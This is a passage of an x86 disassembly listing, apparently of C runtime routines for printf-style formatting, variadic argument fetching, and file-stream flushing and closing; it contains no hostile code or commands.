.nsp0:off_41846Do or [ebp+var_10], 0FFFFFFFFh ; jumptable 00417DBA case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417DDC: ; CODE XREF: sub_417D4C+6Ej ; DATA XREF: .nsp0:off_41846Do movsx eax, bl ; jumptable 00417DBA case 2 sub eax, 20h jz short loc_417E1F sub eax, 3 jz short loc_417E16 sub eax, 8 jz short loc_417E0D dec eax dec eax jz short loc_417E04 sub eax, 3 jnz loc_418454 ; default or [ebp+var_4], 8 jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417E04: ; CODE XREF: sub_417D4C+A4j or [ebp+var_4], 4 jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417E0D: ; CODE XREF: sub_417D4C+A0j or [ebp+var_4], 1 jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417E16: ; CODE XREF: sub_417D4C+9Bj or byte ptr [ebp+var_4], 80h jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417E1F: ; CODE XREF: sub_417D4C+96j or [ebp+var_4], 2 jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417E28: ; CODE XREF: sub_417D4C+6Ej ; DATA XREF: .nsp0:off_41846Do cmp bl, 2Ah ; jumptable 00417DBA case 3 jnz short loc_417E50 lea eax, [ebp+arg_8] push eax call sub_41852B test eax, eax pop ecx mov [ebp+var_20], eax jge loc_418454 ; default or [ebp+var_4], 4 neg eax loc_417E48: ; CODE XREF: sub_417D4C+111j mov [ebp+var_20], eax jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417E50: ; CODE XREF: sub_417D4C+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_417E48 ; --------------------------------------------------------------------------- loc_417E5F: ; CODE XREF: sub_417D4C+6Ej ; DATA XREF: .nsp0:off_41846Do mov [ebp+var_10], edx ; jumptable 00417DBA case 4 jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417E67: ; CODE XREF: sub_417D4C+6Ej ; DATA XREF: .nsp0:off_41846Do cmp bl, 2Ah ; jumptable 00417DBA case 5 jnz short loc_417E8A lea eax, [ebp+arg_8] push eax call sub_41852B test eax, eax pop ecx mov [ebp+var_10], eax jge loc_418454 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417E8A: ; CODE XREF: sub_417D4C+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417E9C: ; CODE XREF: sub_417D4C+6Ej ; DATA XREF: .nsp0:off_41846Do cmp bl, 49h ; jumptable 00417DBA case 6 jz short loc_417ECF cmp bl, 68h jz short loc_417EC6 cmp bl, 6Ch jz short loc_417EBD cmp bl, 77h jnz loc_418454 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417EBD: ; CODE XREF: sub_417D4C+15Dj or [ebp+var_4], 10h jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417EC6: ; CODE XREF: sub_417D4C+158j or [ebp+var_4], 20h jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417ECF: ; CODE XREF: sub_417D4C+153j cmp byte ptr [edi], 36h jnz short loc_417EE8 cmp byte ptr [edi+1], 34h jnz short loc_417EE8 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417EE8: ; CODE XREF: sub_417D4C+186j ; sub_417D4C+18Cj mov [ebp+var_30], edx loc_417EEB: ; CODE XREF: sub_417D4C+6Ej ; DATA XREF: .nsp0:off_41846Do mov ecx, off_437D90 ; jumptable 00417DBA case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_417F17 lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41848D mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_417F17: ; CODE XREF: sub_417D4C+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41848D add esp, 0Ch jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417F2F: ; CODE XREF: sub_417D4C+6Ej ; DATA XREF: .nsp0:off_41846Do movsx eax, bl ; jumptable 00417DBA case 7 cmp eax, 67h jg loc_418157 cmp eax, 65h jge loc_417FDA cmp eax, 58h jg loc_418038 jz loc_4181CB sub eax, 43h jz loc_417FFB dec eax dec eax jz short loc_417FD0 dec eax dec eax jz short loc_417FD0 sub eax, 0Ch jnz loc_418356 test word ptr [ebp+var_4], 830h jnz short loc_417F79 or byte ptr [ebp+var_4+1], 8 loc_417F79: ; CODE XREF: sub_417D4C+227j ; sub_417D4C+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_417F86 mov esi, 7FFFFFFFh loc_417F86: ; CODE XREF: sub_417D4C+233j lea eax, [ebp+arg_8] push eax call sub_41852B test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41819F test ecx, ecx jnz short loc_417FAE mov ecx, off_437D8C mov [ebp+var_8], ecx loc_417FAE: ; CODE XREF: sub_417D4C+257j mov [ebp+var_24], 1 mov eax, ecx loc_417FB7: ; CODE XREF: sub_417D4C+282j mov edx, esi dec esi test edx, edx jz loc_418196 cmp word ptr [eax], 0 jz loc_418196 inc eax inc eax jmp short loc_417FB7 ; --------------------------------------------------------------------------- loc_417FD0: ; CODE XREF: sub_417D4C+212j ; sub_417D4C+216j mov [ebp+var_34], 1 add bl, 20h loc_417FDA: ; CODE XREF: sub_417D4C+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_4180BE mov [ebp+var_10], 6 jmp loc_4180CC ; --------------------------------------------------------------------------- loc_417FFB: ; CODE XREF: sub_417D4C+20Aj test word ptr [ebp+var_4], 830h jnz short loc_418007 or byte ptr [ebp+var_4+1], 8 loc_418007: ; CODE XREF: sub_417D4C+2B5j ; sub_417D4C+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41804E call sub_418548 push eax lea eax, [ebp+var_248] push eax call sub_41D18F add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_418061 mov [ebp+var_28], 1 jmp short loc_418061 ; --------------------------------------------------------------------------- loc_418038: ; CODE XREF: sub_417D4C+1FBj sub eax, 5Ah jz short loc_41806F sub eax, 9 jz short loc_418007 dec eax jz loc_418231 jmp loc_418356 ; --------------------------------------------------------------------------- loc_41804E: ; CODE XREF: sub_417D4C+2C5j call sub_41852B pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_418061: ; CODE XREF: sub_417D4C+2E1j ; sub_417D4C+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_418356 ; --------------------------------------------------------------------------- loc_41806F: ; CODE XREF: sub_417D4C+2EFj lea eax, [ebp+arg_8] push eax call sub_41852B test eax, eax pop ecx jz short loc_4180B0 mov ecx, [eax+4] test ecx, ecx jz short loc_4180B0 test byte ptr [ebp+var_4+1], 8 jz short loc_4180A1 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_418356 ; --------------------------------------------------------------------------- loc_4180A1: ; CODE XREF: sub_417D4C+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_418353 ; --------------------------------------------------------------------------- loc_4180B0: ; CODE XREF: sub_417D4C+32Fj ; sub_417D4C+336j mov eax, off_437D88 mov [ebp+var_8], eax push eax jmp loc_41814C ; --------------------------------------------------------------------------- loc_4180BE: ; CODE XREF: sub_417D4C+29Dj jnz short loc_4180CC cmp bl, 67h jnz short loc_4180CC mov [ebp+var_10], 1 loc_4180CC: ; CODE XREF: sub_417D4C+2AAj ; sub_417D4C:loc_4180BEj ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_4380C8 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41811E cmp [ebp+var_10], 0 jnz short loc_41811E lea eax, [ebp+var_248] push eax call off_4380D4 pop ecx loc_41811E: ; CODE XREF: sub_417D4C+3BCj ; sub_417D4C+3C2j cmp bl, 67h jnz short loc_418135 test esi, esi jnz short loc_418135 lea eax, [ebp+var_248] push eax call off_4380CC pop ecx loc_418135: ; CODE XREF: sub_417D4C+3D5j ; sub_417D4C+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41814B or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41814B: ; CODE XREF: sub_417D4C+3F0j push edi loc_41814C: ; CODE XREF: sub_417D4C+36Dj call sub_415CF0 pop ecx jmp loc_418353 ; --------------------------------------------------------------------------- loc_418157: ; CODE XREF: sub_417D4C+1E9j sub eax, 69h jz loc_418231 sub eax, 5 jz loc_418207 dec eax jz loc_4181F4 dec eax jz short loc_4181C4 sub eax, 3 jz loc_417F79 dec eax dec eax jz loc_418235 sub eax, 3 jnz loc_418356 mov [ebp+var_2C], 27h jmp short loc_4181D2 ; --------------------------------------------------------------------------- loc_418196: ; CODE XREF: sub_417D4C+270j ; sub_417D4C+27Aj sub eax, ecx sar eax, 1 jmp loc_418353 ; --------------------------------------------------------------------------- loc_41819F: ; CODE XREF: sub_417D4C+24Fj test ecx, ecx jnz short loc_4181AC mov ecx, off_437D88 mov [ebp+var_8], ecx loc_4181AC: ; CODE XREF: sub_417D4C+455j mov eax, ecx loc_4181AE: ; CODE XREF: sub_417D4C+46Fj mov edx, esi dec esi test edx, edx jz short loc_4181BD cmp byte ptr [eax], 0 jz short loc_4181BD inc eax jmp short loc_4181AE ; --------------------------------------------------------------------------- loc_4181BD: ; CODE XREF: sub_417D4C+467j ; sub_417D4C+46Cj sub eax, ecx jmp loc_418353 ; --------------------------------------------------------------------------- loc_4181C4: ; CODE XREF: sub_417D4C+425j mov [ebp+var_10], 8 loc_4181CB: ; CODE XREF: sub_417D4C+201j mov [ebp+var_2C], 7 loc_4181D2: ; CODE XREF: sub_417D4C+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41823C mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41823C ; --------------------------------------------------------------------------- loc_4181F4: ; CODE XREF: sub_417D4C+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41823C or byte ptr [ebp+var_4+1], 2 jmp short loc_41823C ; --------------------------------------------------------------------------- loc_418207: ; CODE XREF: sub_417D4C+417j lea eax, [ebp+arg_8] push eax call sub_41852B test byte ptr [ebp+var_4], 20h pop ecx jz short loc_418220 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_418225 ; --------------------------------------------------------------------------- loc_418220: ; CODE XREF: sub_417D4C+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_418225: ; CODE XREF: sub_417D4C+4D2j mov [ebp+var_28], 1 jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_418231: ; CODE XREF: sub_417D4C+2F7j ; sub_417D4C+40Ej or [ebp+var_4], 40h loc_418235: ; CODE XREF: sub_417D4C+432j mov [ebp+var_C], 0Ah loc_41823C: ; CODE XREF: sub_417D4C+491j ; sub_417D4C+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41824E lea eax, [ebp+arg_8] push eax call sub_418538 pop ecx jmp short loc_41828F ; --------------------------------------------------------------------------- loc_41824E: ; CODE XREF: sub_417D4C+4F4j test byte ptr [ebp+var_4], 20h jz short loc_418275 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41826A call sub_41852B pop ecx movsx eax, ax loc_418267: ; CODE XREF: sub_417D4C+527j ; sub_417D4C+539j cdq jmp short loc_41828F ; --------------------------------------------------------------------------- loc_41826A: ; CODE XREF: sub_417D4C+510j call sub_41852B pop ecx movzx eax, ax jmp short loc_418267 ; --------------------------------------------------------------------------- loc_418275: ; CODE XREF: sub_417D4C+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_418287 call sub_41852B pop ecx jmp short loc_418267 ; --------------------------------------------------------------------------- loc_418287: ; CODE XREF: sub_417D4C+531j call sub_41852B pop ecx xor edx, edx loc_41828F: ; CODE XREF: sub_417D4C+500j ; sub_417D4C+51Cj test byte ptr [ebp+var_4], 40h jz short loc_4182B0 test edx, edx jg short loc_4182B0 jl short loc_41829F test eax, eax jnb short loc_4182B0 loc_41829F: ; CODE XREF: sub_417D4C+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_4182B4 ; --------------------------------------------------------------------------- loc_4182B0: ; CODE XREF: sub_417D4C+547j ; sub_417D4C+54Bj ... mov esi, eax mov edi, edx loc_4182B4: ; CODE XREF: sub_417D4C+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_4182BD and edi, 0 loc_4182BD: ; CODE XREF: sub_417D4C+56Cj cmp [ebp+var_10], 0 jge short loc_4182CC mov [ebp+var_10], 1 jmp short loc_4182D0 ; --------------------------------------------------------------------------- loc_4182CC: ; CODE XREF: sub_417D4C+575j and [ebp+var_4], 0FFFFFFF7h loc_4182D0: ; CODE XREF: sub_417D4C+57Ej mov eax, esi or eax, edi jnz short loc_4182DA and [ebp+var_1C], 0 loc_4182DA: ; CODE XREF: sub_417D4C+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_4182E0: ; CODE XREF: sub_417D4C+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_4182F0 mov eax, esi or eax, edi jz short loc_41832B loc_4182F0: ; CODE XREF: sub_417D4C+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_417260 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_4172E0 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_418321 add ebx, [ebp+var_2C] loc_418321: ; CODE XREF: sub_417D4C+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_4182E0 ; --------------------------------------------------------------------------- loc_41832B: ; CODE XREF: sub_417D4C+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_418356 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_418349 test eax, eax jnz short loc_418356 loc_418349: ; CODE XREF: sub_417D4C+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_418353: ; CODE XREF: sub_417D4C+35Fj ; sub_417D4C+406j ... mov [ebp+var_C], eax loc_418356: ; CODE XREF: sub_417D4C+21Bj ; sub_417D4C+2FDj ... cmp [ebp+var_28], 0 jnz loc_418454 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41838E test bh, 1 jz short loc_418373 mov [ebp+var_16], 2Dh jmp short loc_418387 ; --------------------------------------------------------------------------- loc_418373: ; CODE XREF: sub_417D4C+61Fj test bl, 1 jz short loc_41837E mov [ebp+var_16], 2Bh jmp short loc_418387 ; --------------------------------------------------------------------------- loc_41837E: ; CODE XREF: sub_417D4C+62Aj test bl, 2 jz short loc_41838E mov [ebp+var_16], 20h loc_418387: ; CODE XREF: sub_417D4C+625j ; sub_417D4C+630j mov [ebp+var_1C], 1 loc_41838E: ; CODE XREF: sub_417D4C+61Aj ; sub_417D4C+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_4183AE lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4184C2 add esp, 10h loc_4183AE: ; CODE XREF: sub_417D4C+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_4184F3 add esp, 10h test bl, 8 jz short loc_4183E0 test bl, 4 jnz short loc_4183E0 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_4184C2 add esp, 10h loc_4183E0: ; CODE XREF: sub_417D4C+67Bj ; sub_417D4C+680j cmp [ebp+var_24], 0 jz short loc_418427 cmp [ebp+var_C], 0 jle short loc_418427 mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_4183F5: ; CODE XREF: sub_417D4C+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_41D18F pop ecx test eax, eax pop ecx jle short loc_41843C lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_4184F3 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_4183F5 jmp short loc_41843C ; --------------------------------------------------------------------------- loc_418427: ; CODE XREF: sub_417D4C+698j ; sub_417D4C+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_4184F3 add esp, 10h loc_41843C: ; CODE XREF: sub_417D4C+6BCj ; sub_417D4C+6D9j test byte ptr [ebp+var_4], 4 jz short loc_418454 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4184C2 add esp, 10h loc_418454: ; CODE XREF: sub_417D4C+68j ; sub_417D4C+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_417D78 loc_418465: ; CODE XREF: sub_417D4C+1Fj ; sub_417D4C+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_417D4C endp ; --------------------------------------------------------------------------- off_41846D dd offset loc_417EEB ; DATA XREF: sub_417D4C+6Er dd offset loc_417DC1 ; jump table for switch statement dd offset loc_417DDC dd offset loc_417E28 dd offset loc_417E5F dd offset loc_417E67 dd offset loc_417E9C dd offset loc_417F2F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41848D proc near ; CODE XREF: sub_417D4C+1BDp ; sub_417D4C+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_4184A6 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_4184B1 ; --------------------------------------------------------------------------- loc_4184A6: ; CODE XREF: sub_41848D+9j push ecx push [ebp+arg_0] call sub_417C37 pop ecx pop ecx loc_4184B1: ; CODE XREF: sub_41848D+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_4184BE or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_4184BE: ; CODE XREF: sub_41848D+2Aj inc dword ptr [eax] pop ebp retn sub_41848D endp ; =============== S U B R O U T I N E ======================================= sub_4184C2 proc near ; CODE XREF: sub_417D4C+65Ap ; sub_417D4C+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_4184F0 mov esi, [esp+8+arg_C] loc_4184D3: ; CODE XREF: sub_4184C2+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41848D add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_4184F0 mov eax, edi dec edi test eax, eax jg short loc_4184D3 loc_4184F0: ; CODE XREF: sub_4184C2+Bj ; sub_4184C2+25j pop edi pop esi retn sub_4184C2 endp ; =============== S U B R O U T I N E ======================================= sub_4184F3 proc near ; CODE XREF: sub_417D4C+670p ; sub_417D4C+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_418527 mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_418509: ; CODE XREF: sub_4184F3+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41848D add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_418527 mov eax, ebx dec ebx test eax, eax jg short loc_418509 loc_418527: ; CODE XREF: sub_4184F3+Cj ; sub_4184F3+2Bj pop edi pop esi pop ebx retn sub_4184F3 endp ; =============== S U B R O U T I N E ======================================= sub_41852B proc near ; CODE XREF: sub_417D4C+E5p ; sub_417D4C+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41852B endp ; =============== S U B R O U T I N E ======================================= sub_418538 proc near ; CODE XREF: sub_417D4C+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_418538 endp ; =============== S U B R O U T I N E ======================================= sub_418548 proc near ; CODE XREF: sub_417D4C+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_418548 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418556 proc near ; CODE XREF: sub_4159D4+17p ; sub_4159D4+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_418574 mov ecx, off_437D90 movzx eax, word ptr [ecx+eax*2] jmp short loc_4185C6 ; --------------------------------------------------------------------------- loc_418574: ; CODE XREF: sub_418556+10j mov ecx, eax push esi mov esi, off_437D90 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_418599 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_4185A2 ; --------------------------------------------------------------------------- loc_418599: ; CODE XREF: sub_418556+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_4185A2: ; CODE XREF: sub_418556+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_41D1F7 add esp, 1Ch test eax, eax jnz short loc_4185C2 leave retn ; --------------------------------------------------------------------------- loc_4185C2: ; CODE XREF: sub_418556+68j movzx eax, word ptr [ebp+arg_0+2] loc_4185C6: ; CODE XREF: sub_418556+1Cj and eax, [ebp+arg_4] leave retn sub_418556 endp ; =============== S U B R O U T I N E ======================================= sub_4185CB proc near ; CODE XREF: sub_415B40+2Ap ; sub_41D55A+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_46A8E0 jnb loc_418665 mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:46A7E0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_418665 push edi call sub_41D4C6 cmp eax, 0FFFFFFFFh pop ecx jz short loc_418644 cmp edi, 1 jz short loc_418612 cmp edi, 2 jnz short loc_418628 loc_418612: ; CODE XREF: sub_4185CB+40j push 2 call sub_41D4C6 push 1 mov ebp, eax call sub_41D4C6 pop ecx cmp eax, ebp pop ecx jz short loc_418644 loc_418628: ; CODE XREF: sub_4185CB+45j push edi call sub_41D4C6 pop ecx push eax call dword_42106C test eax, eax jnz short loc_418644 call dword_421088 mov ebp, eax jmp short loc_418646 ; --------------------------------------------------------------------------- loc_418644: ; CODE XREF: sub_4185CB+3Bj ; sub_4185CB+5Bj ... xor ebp, ebp loc_418646: ; CODE XREF: sub_4185CB+77j push edi call sub_41D44C mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_418661 push ebp call sub_41C5D7 pop ecx jmp short loc_418676 ; --------------------------------------------------------------------------- loc_418661: ; CODE XREF: sub_4185CB+8Bj xor eax, eax jmp short loc_418679 ; --------------------------------------------------------------------------- loc_418665: ; CODE XREF: sub_4185CB+Ej ; sub_4185CB+2Fj and dword_4694B8, 0 mov dword_4694B4, 9 loc_418676: ; CODE XREF: sub_4185CB+94j or eax, 0FFFFFFFFh loc_418679: ; CODE XREF: sub_4185CB+98j pop edi pop esi pop ebp pop ebx retn sub_4185CB endp ; =============== S U B R O U T I N E ======================================= sub_41867E proc near ; CODE XREF: sub_415B40+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_4186A7 test al, 8 jz short loc_4186A7 push dword ptr [esi+8] call sub_415E3D and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_4186A7: ; CODE XREF: sub_41867E+Aj ; sub_41867E+Ej pop esi retn sub_41867E endp ; =============== S U B R O U T I N E ======================================= sub_4186A9 proc near ; CODE XREF: sub_418749+2Dp ; sub_418749+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_4186BB push esi call sub_418749 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4186BB: ; CODE XREF: sub_4186A9+7j push esi call sub_4186E4 test eax, eax pop ecx jz short loc_4186CB or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_4186CB: ; CODE XREF: sub_4186A9+1Bj test byte ptr [esi+0Dh], 40h jz short loc_4186E0 push dword ptr [esi+10h] call sub_41D503 neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_4186E0: ; CODE XREF: sub_4186A9+26j xor eax, eax pop esi retn sub_4186A9 endp ; =============== S U B R O U T I N E ======================================= sub_4186E4 proc near ; CODE XREF: sub_415B40+1Ap ; sub_416E3E+37p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_418731 test ax, 108h jz short loc_418731 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_418731 push edi push eax push dword ptr [esi+10h] call sub_41C42A add esp, 0Ch cmp eax, edi jnz short loc_41872A mov eax, [esi+0Ch] test al, 80h jz short loc_418731 and al, 0FDh mov [esi+0Ch], eax jmp short loc_418731 ; --------------------------------------------------------------------------- loc_41872A: ; CODE XREF: sub_4186E4+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_418731: ; CODE XREF: sub_4186E4+14j ; sub_4186E4+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_4186E4 endp ; =============== S U B R O U T I N E ======================================= sub_418740 proc near ; CODE XREF: sub_41D17Bp push 1 call sub_418749 pop ecx retn sub_418740 endp ; =============== S U B R O U T I N E ======================================= sub_418749 proc near ; CODE XREF: sub_4186A9+Ap ; sub_418740+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_46A7C0, esi jle short loc_4187A7 loc_41875A: ; CODE XREF: sub_418749+5Cj mov eax, dword_4697A0 mov eax, [eax+esi*4] test eax, eax jz short loc_41879E mov ecx, [eax+0Ch] test cl, 83h jz short loc_41879E cmp [esp+0Ch+arg_0], 1 jnz short loc_418784 push eax call sub_4186A9 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41879E inc ebx jmp short loc_41879E ; --------------------------------------------------------------------------- loc_418784: ; CODE XREF: sub_418749+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41879E test cl, 2 jz short loc_41879E push eax call sub_4186A9 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41879E or edi, eax loc_41879E: ; CODE XREF: sub_418749+1Bj ; sub_418749+23j ... inc esi cmp esi, dword_46A7C0 jl short loc_41875A loc_4187A7: ; CODE XREF: sub_418749+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_4187B2 mov eax, edi loc_4187B2: ; CODE XREF: sub_418749+65j pop edi pop esi pop ebx retn sub_418749 endp ; =============== S U B R O U T I N E ======================================= sub_4187B6 proc near ; CODE XREF: sub_415B96+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_41D0B0 test eax, eax pop ecx jz short loc_41883F cmp esi, offset dword_4384A8 jnz short loc_4187D4 xor eax, eax jmp short loc_4187DF ; --------------------------------------------------------------------------- loc_4187D4: ; CODE XREF: sub_4187B6+18j cmp esi, offset dword_4384C8 jnz short loc_41883F push 1 pop eax loc_4187DF: ; CODE XREF: sub_4187B6+1Cj inc dword_469674 test word ptr [esi+0Ch], 10Ch jnz short loc_41883F cmp dword_46950C[eax*4], 0 push ebx push edi lea edi, ds:46950Ch[eax*4] 